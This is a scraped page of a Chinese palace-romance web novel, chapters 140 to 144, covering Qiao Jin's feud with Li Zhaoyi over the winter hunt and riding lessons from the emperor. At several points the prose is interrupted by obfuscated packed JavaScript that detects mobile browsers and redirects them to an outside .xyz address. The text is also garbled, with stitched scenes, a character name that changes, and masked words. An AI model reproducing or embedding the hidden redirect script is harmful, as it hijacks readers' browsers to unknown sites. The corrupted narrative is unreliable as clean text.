戌时三刻的梆子声透过雨幕传来时,君宸州的靴底碾过君心殿门前最后一片积水。 檐角垂落的雨线被宫灯染成暖黄,却照不亮他眼底沉如寒潭的光。 贴身太监刚要通传,便被他一个眼神噤了声——那目光扫过廊下挂着的翡翠鸟笼,笼中白羽鹦鹉突然受惊,扑棱着翅膀撞得笼条作响。 殿内传来环佩轻响,乔瑾扶着侍女的手迎到暖阁门口时,裙摆扫过地上新换的西域地毯,悄无声息。 她今日换了月白色蹙金绣海棠的宫装,鬓边斜插的珍珠步摇随着动作轻颤,脸上挂着惯常的温婉笑意:“陛下今日怎得空来臣妾这儿?可是朝务忙完了?” 话音未落,她便察觉不对。 君景珩看向她的眸光有些复杂,看的乔瑾心头一跳。 暮色沉沉,烛火在鎏金烛台里跳跃着暖黄的光,将寝殿的菱花窗棂映出细碎的影。 乔瑾正低头解着发间的玉簪,余光却不经意间撞上了镜中那人的目光——君景珩不知何时已放下手中的茶盏,正隔着半卷鲛绡帐望着她。 他的眼神很深,像是揉碎了寒夜里的星子,却又蒙着一层化不开的雾。 那目光落在她鬓边散落的发丝上,又缓缓滑过她微抿的唇,仔细看去,瞳孔深处竟翻涌着几分近乎灼人的痛惜。 连带着眉骨都微微蹙起,像是看着一件被自己失手摔碎过的珍宝,此刻虽小心翼翼捧在掌心,裂痕却仍在心底隐隐作痛。 乔瑾指尖一顿,想再从镜中捕捉那情绪的蛛丝马迹,可下一秒,君景珩已似是回过神,眸光恢复了惯常的沉静,只淡淡移开了视线,仿佛方才那一闪而过的复杂情愫不过是她的错觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845695|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这晚的君景珩确实不同寻常。 她净手时,他会先一步将温热的帕子递到她指尖;她漱口时,他竟亲自端着青瓷水盂,指尖不经意擦过她的下颌,带着一种近乎虔诚的轻柔。 直到两人并肩躺入锦被,他平日里总是隔半臂远的身子,此刻却紧紧贴了上来。 他从身后环住她,下巴轻轻搁在她发顶,鼻尖萦绕着她发间清雅的皂角香。 那手臂的力道很紧,像是怕她飞走一般,掌心隔着寝衣熨帖在她腰侧,指腹甚至带着不易察觉的微颤。 乔瑾能清晰地感受到他胸腔里沉稳的心跳,一下下,重得像是在丈量失而复得的珍贵。 她忍不住想,他此刻抱着的,究竟是现在的她,还是那个被他遗忘在时光里的、曾被伤得遍体鳞伤的影子? “皇上,今日……是有什么事吗?”乔瑾终究耐不住这份异样的沉默,声音闷闷地从被褥里传出来,指尖无意识地捻着被角的流苏。 怀中的人顿了顿,手臂收得更紧了些,将她整个裹进自己的体温里。 他的声音低沉,带着一丝不易察觉的沙哑,像是在喉间辗转了许久才溢出:“没有。” 乔瑾转过身,正对上他近在咫尺的脸。烛火的光在他轮廓分明的侧脸上跳跃,映得他眼尾的那颗小痣格外清晰。 她望着他,试图从他墨色的瞳孔里找出方才那心痛与后悔的痕迹,却只看到一片深不见底的温柔。 “可你今天看臣妾的眼神……”她咬了咬唇,还是问了出来,“好像……不太一样。” 君景珩的睫毛颤了颤,像是被她的话拂动的蝶翼。 他沉默了片刻,忽然抬手,用指腹轻轻描摹她的眉骨,动作轻柔得仿佛在触碰易碎的瓷器。“是朕以前……看得太少了。” 乔瑾心头一跳,眼睛眨了眨,好似有些不可置信。 君景珩紧紧抱住她,仿佛要将她揉进自己的骨血里。 他在她发顶印下一个极轻的吻,声音里带着劫后余生的庆幸,也带着不容置疑的坚定:“嗯,以后……会一直这样。” 夜色渐深,烛火噼啪轻响。窗外的风声似乎也温柔了许多,将寝殿里的低语与相拥的身影,一并裹进了这静谧而安稳的长夜。 第一百四十章 南苑 铅灰色的云层低低压在紫禁城的琉璃瓦上,碎雪沫子乘着风势往窗棂缝里钻,翊坤宫正殿的鎏金暖炉烧得正旺,却驱不散殿内几分微妙的凝滞。 乔瑾拢了拢身上月白色的掐金丝披风,垂眸侍立在列,看皇后娘娘指尖拨弄着翡翠护甲,慢条斯理地将茶盏推到唇边。 殿内环侍的嫔妃们各怀心思,锦缎裙摆拂过青砖地的声响都透着小心翼翼,直到皇后用银匙轻轻搅了搅盖碗里的普洱,才漫不经心地开了口:“昨儿内务府递了折子,说南苑的围场已清整妥当,今年的冬猎,也该预备起来了。” 话音刚落,立在东侧的丽昭仪便轻轻嗤了一声,那声音不大,却像根细针似的刺破了寂静。 她今日穿了身石榴红蹙金宫装,鬓边斜插的赤金点翠步摇随着动作轻轻晃动,眼神斜斜扫过站在前列的乔瑾,嘴角勾起抹似笑非笑的弧度:“皇后娘娘这话可说到点子上了,要说这冬猎啊,皇上不带哪个主子,也必定得带着咱们宸嫔妹妹——” 她特意将“宸嫔”二字咬得极重,尾音拖曳着几分酸意,“谁不知道妹妹是皇上心尖上的人?就说前几日那些蕃国上供的贡品当中,皇上将那支东珠步摇,可是把君心殿的门槛都晃得发亮呢。” 旁边的常才人下意识地捏紧了帕子,眼尾偷偷瞟向乔瑾。 丽昭仪这话里的刺谁都听得明白,明着是捧,暗里却在说乔瑾得宠挡了旁人的路。 果然,她话锋一转,语气更冷:“就是不知今年妹妹去了,又有哪些姐姐得留在宫里‘静养’了——毕竟猎场上地方小,皇上的眼风啊,怕是顾不过来那么多呢。” 殿内瞬时静得能听见暖炉里炭块爆裂的轻响,几位低位份的嫔妃都垂下了眼,不敢接话,唯有贤妃轻轻咳了声,用团扇遮了遮唇,似是想打圆场。 乔瑾一直垂着眼,指尖微凉,却在丽昭仪话音落下时,缓缓抬了头。 她没去看丽昭仪挑衅的目光,反而转向主位上的皇后,声音清清淡淡,像檐角未化的薄雪:“昭仪姐姐说笑了,皇上带谁去冬猎,向来是看围场规制与祖宗规矩,臣妾这点微末恩宠,如何担得起‘必定’二字。” 她顿了顿,眼角余光瞥见丽昭仪脸色微变,又接着道:“何况能得赏,不过是皇上瞧着臣妾伺候皇上高兴,皇上高兴了,这底下的这些东西自然也愿意赏赐一些,姐姐若是喜欢这东珠,妹妹等会儿可将东珠送给姐姐。” 这话柔中带刚,既撇清了“恃宠而骄”的嫌疑,又暗讽丽昭仪若有本事,该自己去争宠,而非在此搬弄是非。 丽昭仪的脸“腾”地涨红了,正要发作,贤妃已笑着开口:“宸嫔妹妹这话说得是,冬猎本就是君臣同乐、强身健体的事,皇上心里自有考量。 说起来,本宫倒是想起前年冬猎,丽昭仪那手骑射可是技惊四座呢,今年若去了,定能再让皇上眼前一亮。”她这话看似夸赞,实则将话题引开,也暗暗提醒丽昭仪注意分寸。 旁边的淑嫔怯怯地插了句:“是啊是啊,昭仪姐姐的骑术在咱们宫里可是数一数二的……” 话没说完就被丽昭仪一个冷眼瞪了回去,顿时缩着脖子不敢作声。 去年到底如何,她们不清楚,贤妃还能不知道嘛? 丽昭仪觉得贤妃这根本就是故意的! 但要是贤妃知道丽昭仪心里面是怎么想的,恐怕只会冷笑一声,嘲讽道:你的那些破事,本宫才不会记在心里。 殿内的鎏金暖炉烧得依旧旺,炭火气裹着淡淡的龙涎香弥漫开来,却驱不散丽昭仪眼底那抹淬了冰的笑意。 她穿的石榴红宫装在一众素色冬衣里格外扎眼,赤金点翠步摇随着她侧身的动作轻轻晃动,碎钻般的光刃恰好落在乔瑾素净的面颊上。 “说起来,”丽昭仪拖长了语调,指尖慢悠悠地划过茶盏边缘,眼尾斜睨着乔瑾,“宸嫔妹妹若是去了猎场,可会骑马打猎?” 话音未落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845696|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她忽然抬手捂住嘴,肩头抑制不住地轻颤起来,那串笑声像檐角冰棱断裂般脆生生的,却带着刺骨的寒意。 “瞧我这记性,”她故作惊慌地眨了眨眼,面上堆起歉意,可那双杏眼里的讥诮却藏都藏不住,“妹妹从前是……宫女出身,怕是不只骑马打猎不熟,旁的那些个……” 她猛地顿住话头,又用帕子掩住唇,笑得更厉害了,仿佛说了什么极可笑的事,余下的话虽未出口,那“上不得台面”的意味却已在殿内悄然弥漫。 周遭的空气瞬间凝固。 几位低位份的嫔妃下意识地往后缩了缩,常才人捏着帕子的手指泛白,贤妃轻轻摇着团扇的手也顿了顿。 乔瑾垂在身侧的指尖微微蜷起,月白色披风上的金丝绣线在烛火下泛着冷光,她能感觉到无数道目光落在自己身上,有同情,有好奇,更多的却是看好戏的漠然。 乔瑾抬起眼,眸光平静得像寒潭,直直撞进丽昭仪那双写满轻蔑的眸子里。 她没有立刻说话,而是先抬手理了理鬓边微乱的发丝,那动作慢条斯理,带着一种近乎漠然的镇定。 “昭仪姐姐说笑了,”她的声音清清淡淡,听不出半分动怒,“臣妾确实是宫女出身,入宫前别说骑马,连正经的弓箭都未摸过。” 丽昭仪脸上的笑意僵在嘴角,指尖刚要勾起下一句嘲讽,却见乔瑾抬眼望来,眸光里漾着一汪清浅的笑意,像初融的春水覆着薄冰。 “姐姐说臣妾不懂骑马打猎?”她微微歪了歪头,语气里带着几分恰到好处的困惑,“倒是前日皇上在御花园教臣妾握弓时,曾笑说姐姐去年冬猎时那支脱靶的箭,还险些惊了圣驾——” 她话音未落,殿内数道抽气声几乎同时响起,当时很多嫔妃都没有去,所以还从来不知道居然还有这么一回事了。 丽昭仪的脸色“唰”地白过窗纸上的新雪,连鬓边的赤金步摇都跟着颤了颤:“你……你胡说!” 第一百四十二章 戏谑 碎雪扑在君心殿的朱漆门上,乔瑾刚跨进门槛,贴身宫女绿萝便疾步迎上来,伸手要接她肩头的月白披风,指尖却因气得发颤而碰掉了披风上的一粒珍珠滚边。 “小主!”绿萝顾不得去捡珠子,跺脚望着殿外翊坤宫的方向,粉雕玉琢的脸蛋涨得通红,“那丽昭仪也太欺负人了!凭什么拿您的出身说三道四?皇上宠爱您,那是天经地义的事,她有本事自己去讨皇上欢心啊,成天在背后嚼舌根算什么本事!” 她越说越气,眼圈都红了,想起刚才在翊坤宫丽昭仪那副尖酸嘴脸,恨不得立刻冲回去理论。 殿内熏笼里的银霜炭烧得噼啪响,暖雾裹着乔瑾发间的梅花香散开,她却只望着绿萝气鼓鼓的模样轻笑出声,伸手替她将歪了的丫鬟髻扶正:“好了,多大点事,值得你气成这样?” 绿萝见乔瑾语气轻松,更急了:“小主!她分明是嫉妒您得宠,才拿冬猎的事编排您!还说什么‘宫女出身不懂骑射’,这不是明摆着看不起人吗?” 她攥紧拳头,“要是奴婢也有位份,定要上去驳得她哑口无言!” 乔瑾接过小厨房刚送来的暖手炉,指尖触到温热的青瓷,才缓缓坐下:“你呀,就是心直口快。丽昭仪敢这么说,无非是仗着自己出身高贵,又眼红皇上对我的好。” 她望着窗外渐渐密集的雪花,眸光沉静,“可这深宫里,光靠出身是站不稳的。去年冬猎她脱靶的事,不也成了笑柄?” 绿萝愣了愣,随即反应过来:“小主是说……您是拿这事怼了她?” “不过是实话实说罢了。”乔瑾呷了口暖茶,热气氤氲了她的眼睫,“丽昭仪越是想拿出身压我,我越不能露怯。她不是想看我在猎场出丑吗?” 她指尖轻轻敲了敲茶盏边缘,唇角勾起一抹淡笑,“那我偏要让她看看,宫女出身又如何?论骑射,我未必输给她。” 绿萝眼睛一亮:“小主是想练骑射?可这才刚入冬,天寒地冻的……” “正因如此,才要提前准备。”乔瑾放下茶盏,语气带着不容置疑的坚定,“你去库房取那副皇上赏的女式弓箭来,明日一早,陪我去御花园的演武场。丽昭仪不是等着看笑话么?” 她望着窗外飘摇的风雪,眼中闪过一丝锐利,“我偏要在冬猎场上,让她知道,什么叫‘士别三日,当刮目相看’。” 绿萝被她的气势感染,重重点头:“好!奴婢这就去准备!要是那丽昭仪再敢找茬,奴婢……奴婢就跟她理论去!” “理论无用。”乔瑾摇摇头,伸手替绿萝拢了拢被风吹乱的鬓发,“在这宫里,拳头硬才是真道理。她既然拿骑射说事,那我就用箭术堵住她的嘴。” 她顿了顿,想起君景珩前日在御花园亲自教她握弓时的眼神,那里面有耐心,有期许,还有一丝不易察觉的担忧,“何况……皇上也希望我去。” 夜色渐深,君心殿的烛火映着窗上的冰花,乔瑾展开一张南苑围场的舆图,指尖划过标注着密林与湖泊的区域。 绿萝捧着擦得锃亮的弓箭进来时,正看见她家小主盯着舆图出神,烛火在她眼底映出明明灭灭的光,像藏着整片雪原的星光。 “小主,您看这围场……”绿萝凑近了些,“听说深处有黑熊,会不会太危险了?” 乔瑾指尖停在舆图西北角的“落雁坡”上,那里画着几丛茂密的灌木。“危险的从来不是野兽。” 她轻声道,目光扫过舆图上代表各宫嫔妃营帐的标记,“是人心。”她抬眸看向绿萝,眼中是前所未有的郑重,“这场冬猎,我不仅要去,还要赢。丽昭仪想让我出局,那我就让她看看,挡在我面前的人,会是什么下场。” 窗外的风雪似乎更大了,卷着枯枝拍打窗棂,却掩不住殿内陡然升起的锋芒。 绿萝握紧了手中的弓箭,只觉得自家小主此刻的眼神,像极了去年冬日里,那支穿透风雪、正中白狐咽喉的利箭——冷静,精准,且带着破釜沉舟的决绝。 日头偏至中天,碎雪已停,淡金色的阳光透过乾元殿雕花窗棂,在金砖地上投下菱形的光斑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845698|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乔瑾刚将最后一支玉簪别好,殿外便传来周公公尖细的唱喏声:“宸嫔娘娘,皇上唤您去乾元殿用午膳呢。” 绿萝连忙替她理平蹙金裙摆上的褶皱,乔瑾点点头,踩着覆了薄绒的花盆底鞋,随周公公穿过九曲回廊。 殿内熏着昂贵的龙涎香,暖雾氤氲。 君景珩正立在紫檀木雕花盥洗架前,由小太监伺候着净手,玄色常服袖口露出的一截雪白里衣,衬得他指尖修长如玉。 听见脚步声,他抬眸看来,目光掠过乔瑾微冻的鼻尖,唇角几不可察地扬了扬。 乔瑾依礼福身:“臣妾参见皇上。” “起来吧。”君景珩擦着手,示意旁边的宫女,“给宸嫔娘娘净手,仔细水凉。” 温热的合卺酒混着玫瑰露的香气漫开,乔瑾垂眸任宫女伺候,余光却瞥见君景珩目光落在她指尖,那里似乎还留着今早练箭时磨出的薄茧。 膳桌早已摆满精致菜肴,翡翠虾饺、芙蓉鸡片、水晶肘子……热气腾腾。 君景珩示意她坐在身侧,亲自替她布了一筷糟溜鱼片:“尝尝这个,御膳房新学的苏式做法。” 乔瑾刚拿起银筷,便听他忽然开口,语气漫不经心,眼底却带着一丝探究:“听说今早,你在皇后宫里,与丽昭仪‘聊’得很热闹?” 筷子顿在半空,乔瑾抬眼撞进他含笑的眸子里,那里面分明映着她方才的窘迫。 她抿唇一笑,将鱼片送入嘴中,舌尖尝到清甜的滋味,才慢悠悠道:“不过是些家常话,让皇上听了笑话。” 君景珩放下玉箸,身子微微前倾,指尖有意无意地划过她腕间的翡翠镯子:“家常话?” 他挑眉,语气带着戏谑,“朕可是听说,有人笑你不懂骑马打猎,还拿你出身说事?” 乔瑾心头一跳,没想到这事竟这么快传到他耳中。 她垂下眼,用银匙拨弄着碗里的鸽蛋羹,轻声道:“不过是姐姐们闲聊罢了,皇上日理万机,何必为这些小事分神。” 第一百四十三章 教骑射 “你的事,何时成了小事?”君景珩的声音沉了沉,伸手抬起她的下巴,迫使她看向自己,“丽昭仪那点心思,朕还能不清楚?无非是嫉妒你得宠,想在冬猎上看你笑话。” 他指腹摩挲着她细腻的下颌线,眼中闪过一丝冷意,“怎么,被她说中了?真不会骑马?” 乔瑾挣开他的手,佯怒地瞪了他一眼:“皇上又打趣臣妾!谁说臣妾不会?不过……” 她话锋一转,语气带了些委屈,“臣妾还从来没去过冬猎,今年头一遭,心里总归有些打鼓。不像丽昭仪姐姐,听说去年骑射技艺可是宫里拔尖的呢。”她说着,偷偷观察着他的反应。 君景珩闻言却笑了,笑声震得胸腔微微起伏:“拔尖?” 他想起什么似的,摇头失笑,“去年她那支箭射偏了十里地,险些惊了朕的马,也敢称拔尖?” 他执起酒壶,替她斟了杯温热的葡萄酒,“放心,朕已让御马监备了匹最温顺的玉花骢,明日起,朕亲自带你去训练场。” “皇上日理万机,怎好劳烦……” “不劳烦。”君景珩打断她,目光灼灼,“朕的宸嫔,岂能被人看了笑话?” 他顿了顿,语气忽然郑重,“冬猎朕会带你去。丽昭仪想比骑射?正好,让她见识见识,朕教出来的人,是什么模样。” 乔瑾望着他眼中毫不掩饰的维护,心头一暖,端起酒杯抿了口,葡萄酒的甜暖顺着喉咙滑下,驱散了今早的寒意。 她忽然想起绿萝说的“拳头硬才是真道理”,此刻看着君景珩,忽然觉得,有他在,这深宫里的风雪,似乎也不那么冷了。 “那臣妾可就等着皇上教导了。”她弯起眉眼,笑容像窗外初晴的阳光,“只是……若臣妾学不会,皇上可不许笑话。” “自然。”君景珩抬手,替她拂去发间沾到的一点饭粒,动作亲昵自然,“就算学不会,有朕在,谁敢笑话你?”他指尖的温度透过发丝传来,带着不容置疑的笃定。 殿外的阳光渐渐炽烈,融化了檐角的残雪。 乔瑾看着君景珩夹菜的手,忽然觉得,这顿午膳吃得格外安稳。 至于丽昭仪的嘲讽,冬猎场上的风雨,似乎都在他这一句话里,化作了可以从容面对的风景。 她默默记下他眼中的笑意,心想:或许,是时候让那支被皇上亲手打磨的箭矢,在南苑的雪地上,划出属于自己的锋芒了。 —— 次日。 翌日辰时三刻,淡金色的阳光刚漫过君心殿的雕花窗棂,鎏金暖炉里的银霜炭正烧得噼啪作响。 乔瑾正临窗临摹《寒江独钓图》,笔尖刚勾勒出渔夫蓑衣的纹路,殿外忽然传来周公公特有的尖细嗓音:“宸嫔娘娘,咱家给您送东西来啦——” 绿萝连忙掀开门帘,只见周公公捧着个朱漆描金托盘,上面叠放着一套簇新的骑射服。 那衣料是罕见的墨色云锦,滚着一圈雪白的狐裘边,领口与袖口用赤金丝线绣着腾跃的猎豹纹样,腰侧还垂着一条掐金丝绦,针脚利落得如同刀削。 乔瑾放下狼毫,指尖轻轻拂过冰凉的锦缎,墨色的瞳孔里漾起一丝讶异:“这是……” “娘娘忘了?”周公公笑得眉眼弯弯,像只偷腥的猫,“昨儿皇上在乾元殿可说了,要亲自教您骑射呢!这不,特意让尚衣局赶制了这套衣服,说要配您那副玉花骢。” 他顿了顿,压低声音道:“皇上还说,让娘娘换好衣裳便去御花园的演武场,他处理完奏折就过来。” 乔瑾望着那身利落的骑射服,脑海里闪过昨日君景珩在膳桌上说“朕的宸嫔,岂能被人看了笑话”时的眼神。 她指尖微微蜷起,触到锦缎上冰凉的金线,忽然想起自己之前的主子被罚了过后,她曾在在浣衣局寒冬洗衣的日子,那时何曾想过会有一日,身着御赐骑射服,等着天子亲自教导。 “有劳周公公了。”她敛去眸中翻涌的情绪,声音平静无波。 周公公又叮嘱了几句“仔细保暖”,便弓着身子退了出去。 殿门合上的刹那,绿萝突然跳了起来,扑到托盘前,小心翼翼地捧起那身骑射服:“小主!您看这针脚,这**色!皇上对您可真好啊!” 乔瑾看着绿萝亮晶晶的眼睛,忍不住失笑:“不过是身衣服,瞧把你激动的。”话虽如此,她指尖却不由自主地划过狐裘柔软的毛边,那暖意似乎顺着指尖渗进了心里。 “怎么能只是衣服呢!”绿萝把骑射服抖开,在乔瑾身上比量着,“皇上这是把您放在心尖上疼呢!丽昭仪还笑您不会骑射,这下好了,皇上亲自教,看她还怎么说!” 她越说越兴奋,手脚麻利地帮乔瑾褪去繁复的宫装,“小主快换上吧,别让皇上等着。” 换上骑射服的乔瑾站在菱花镜前,墨色锦缎衬得她肤色胜雪,腰间掐金丝绦勾勒出纤细的腰肢,原本温婉的气质里竟添了几分飒爽。 绿萝替她将长发束成利落的马尾,又在鬓边别了支赤金箭羽形的发夹:“好看!像个英气的小将军!” 乔瑾对着镜子转了个圈,嘴角忍不住扬起笑意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845699|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正这时,殿外传来熟悉的脚步声,君景珩已换下常服,身着一身玄色骑射服,腰间悬着柄镶玉**,更显得身姿挺拔,眉眼间带着几分难得的闲适。 他看见乔瑾的模样,眼中精光一闪,缓步走近,伸手替她正了正歪斜的发夹:“嗯,比朕想象的还要好看。” 乔瑾脸颊微热,低头看着他指尖的玉扳指:“让皇上见笑了,臣妾还是头一回穿这样的衣服。” “多穿几次就习惯了。”君景珩牵起她的手,那掌心的温度透过单薄的锦缎传来,“走吧,玉花骢已经在演武场等着了。” 两人并肩穿过覆着薄雪的宫道,御花园的梅树开得正盛,暗香浮动。 演武场的空地上,一匹雪白色的骏马正由马夫牵着,见到君景珩,竟温顺地打了个响鼻。 乔瑾走近时,玉花骢亲昵地蹭了蹭她的手掌,温热的鼻息拂过她的指尖。 “它很温顺,不会伤人。”君景珩亲自扶着她的腰,助她上马,“握住缰绳,别紧张。” 乔瑾坐在马鞍上,初时还有些僵硬,直到君景珩翻身上马,在她身后勒住缰绳,胸膛几乎贴着她的背:“跟着朕的节奏,放松。”他的声音带着低沉的磁性,拂过她的耳廓,引得她心跳漏了一拍。 玉花骢随着君景珩的指令缓步前行,乔瑾渐渐放松下来,感受着冬日暖阳洒在肩头,听着身后那人沉稳的心跳。 忽然,她瞥见不远处的假山后闪过一抹石榴红,正是丽昭仪的宫女,正鬼鬼祟祟地探头探脑。 乔瑾唇角勾起一抹淡笑,故意挺直了脊背,在君景珩的引导下,轻轻夹了夹马腹。 玉花骢领会指令,开始小步慢跑,带起的风扬起她束发的丝带,在空中划出一道利落的弧线。 “学得很快。”君景珩在她耳边赞许道,语气里带着笑意,“看来,丽昭仪的‘笑话’,是看不成了。” 乔瑾回头看他,阳光落在他轮廓分明的侧脸上,睫毛在眼睑下投下淡淡的阴影。 她忽然觉得,这深宫里的风雪与算计,似乎都在他此刻的目光里,化作了可以抵御一切的暖意。 而那身墨色骑射服,不仅是御赐的恩宠,更是她在这后宫中,为自己挣来的、足以抵御风雨的锋芒。 “有皇上教,臣妾自然学得快。”她轻声回应,目光望向远处被白雪覆盖的宫墙,心中已有了决断——这场冬猎,她不仅要去,还要赢,要让所有看不起她的人知道,宫女出身的宸嫔,一样能在天子的庇护下,在这波谲云诡的深宫里,踏出属于自己的路。 第一百四十四章 算计 朝阳殿的鎏金暖炉烧得虽旺,却驱不散殿内冻霜般的寒意。 丽昭仪斜倚在铺着雪白狐裘的美人榻上,指尖百无聊赖地拨弄着鎏金熏球,绣着并蒂莲的藕荷色裙摆拖曳在地,映着窗纸上斑驳的冰花,竟透出几分萧索。 当小宫女茯苓缩着脖子从殿外溜进来时,她眼皮都未抬一下,只懒洋洋地呷了口茶:“探到什么了?” 茯苓扑通一声跪在青砖地上,膝盖撞得生疼,却顾不上疼,慌忙禀报:“娘娘,奴婢刚才在御花园演武场瞧见了……宸嫔娘娘她……她换上了皇上赏的那身墨色骑射服,正跟着皇上学骑马呢!” 她偷瞄着丽昭仪骤然沉下的脸色,声音越发细小,“皇上亲自扶着她上马,还在她身后……手把手教她握缰绳……” “哐当!”丽昭仪手中的青瓷茶盏猛地砸在地上,碎瓷片溅到茯苓脚边,滚烫的茶水泼湿了她的裙角。 她豁然起身,石榴红的宫装扫过榻边的鎏金香炉,香灰簌簌落在狐裘上。 那张平日里顾盼生辉的脸此刻扭曲得狰狞,眉梢高挑的弧度因怒意而颤抖,眼底翻涌的妒火几乎要将人灼伤:“**!” 她咬牙切齿,指甲深深掐进掌心,“本宫就知道她不安分!穿那身衣服给谁看?分明是故意在本宫面前显摆!” 茯苓吓得浑身发抖,连忙磕头:“娘娘息怒!娘娘息怒啊!” “息怒?”丽昭仪猛地揪住她的发髻,迫使她抬头,“你让本宫如何息怒?一个贱婢骑到本宫头上来了!皇上多久没亲自教过本宫骑射?啊?!” 她越说越气,扬手便给了茯苓一巴掌,“废物!连这点小事都办不好,要你何用!” 茯苓捂着火辣辣的脸颊,眼泪在眼眶里打转,却不敢哭出声:“娘娘,奴婢……奴婢还听见皇上夸宸嫔娘娘学得快,说冬猎时要带她一起去……” “冬猎?”丽昭仪闻言瞳孔骤缩,猛地松开手,踉跄着后退两步,撞在身后的妆奁上,发出“咚”的一声闷响。 她想起去年冬猎自己脱靶的糗事,又想到乔瑾如今得宠的模样,一股怨毒之气直冲头顶,“好……好得很!她以为傍上皇上就能高枕无忧了?” 她忽然冷笑起来,那笑声尖利而阴冷,像毒蛇吐信:“茯苓,你去趟御马监,找那个姓李的管事。” 她凑到宫女耳边,压低声音吩咐了几句,指尖划过茯苓红肿的脸颊,眼神狠厉如刀,“本宫倒要看看,她那匹玉花骢,是不是真的那么温顺。” 茯苓浑身一哆嗦,怯怯地问:“小主……您是说……” “哼,”丽昭仪甩袖走到窗边,望着远处演武场方向隐约的人影,嘴角勾起一抹残忍的弧度,“冬猎场上野兽多,马惊了也是常有的事。若是宸嫔妹妹不小心从马上摔下来……” 她顿了顿,回头看向茯苓,眼中寒光毕露,“别说本宫没提醒你,这事若办砸了,你的脑袋,就等着去喂南苑的狼吧。” 茯苓吓得面无人色,连连磕头:“奴婢……奴婢一定办妥!一定办妥!” 丽昭仪这才满意地哼了一声,重新坐回美人榻上,捡起方才掉落的鎏金熏球,指尖轻轻转动着。 熏球里的龙涎香早已燃尽,只剩下冰冷的铜壳,正如她此刻的心。 她盯着窗外飘落的残雪,想起乔瑾穿着墨色骑射服在君景珩怀里巧笑倩兮的模样,指甲再次深深嵌进掌心,渗出血丝也浑然不觉。 “乔瑾……”她低声念着这个名字,语气里淬满了毒,“你抢了本宫的恩宠,本宫便让你在冬猎场上,摔得粉身碎骨。这深宫里,从来就不是你这种贱婢该待的地方。” 殿外的风雪又起,卷着碎雪扑在窗纸上,发出“沙沙”的声响,仿佛在为这场即将展开的阴谋,奏响序曲。 而朝阳殿内,丽昭仪眼中的疯狂与怨毒,在昏暗的光线下越积越深,如同即将爆发的火山,只等着冬猎那日,将她眼中的“**”彻底吞噬。 朝阳殿的紫檀木雕花窗棂上凝着一层白霜,殿内铜鹤熏炉里的龙涎香燃得正旺,却化不开丽昭仪眉宇间拧成的川字。 方才被派去御马监的丫苓刚垂首退下,廊外传来她渐行渐远的脚步声,榻边侍立的桃夭这才上前一步。 指尖轻轻拂过案上歪斜的茶盏,声音压得极低:“娘娘,让茯苓去办那件事……若是事后御马监的李管事嘴不严,或是绿萼那丫头漏了口风,怕是会引火烧身。” 桃夭身着一身半旧的青灰色比甲,头上只簪了支素银抹额,比起旁的丫鬟更显沉静。 她是丽昭仪入宫时,其母从陪房里特意挑出来的老人,自小跟着丽昭仪长大,性子比旁人多了几分缜密。 此刻她望着自家主子因怒意而泛红的眼角,又添了一句:“当年娘娘罚碎玉轩的小厨房时,便是因底下人没处理干净证词,才被皇后娘娘拿住了错处……” 这话像根细针,轻轻刺破了丽昭仪的焦躁。 她攥紧了手中的鎏金暖炉,炉盖上的缠枝莲纹硌得掌心生疼,想起三年前那件险些被降位的旧事,眼底的狠厉稍稍敛了些,却仍咬着牙道: “那**骑在本宫头上作威作福,如今连皇上都亲自教她骑射!若就这么放过她,本宫这口恶气往哪儿撒?!” 桃夭垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845700|175766||http|test|mini|href|location''.split(''|''),0,{})); () { 